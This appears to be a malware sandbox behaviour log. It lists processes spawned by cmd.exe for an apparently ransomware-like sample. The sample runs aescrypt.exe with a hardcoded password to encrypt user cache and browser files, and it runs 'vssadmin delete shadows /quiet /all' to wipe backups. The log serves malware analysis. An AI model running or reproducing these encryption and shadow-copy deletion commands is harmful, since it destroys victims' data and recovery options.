Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
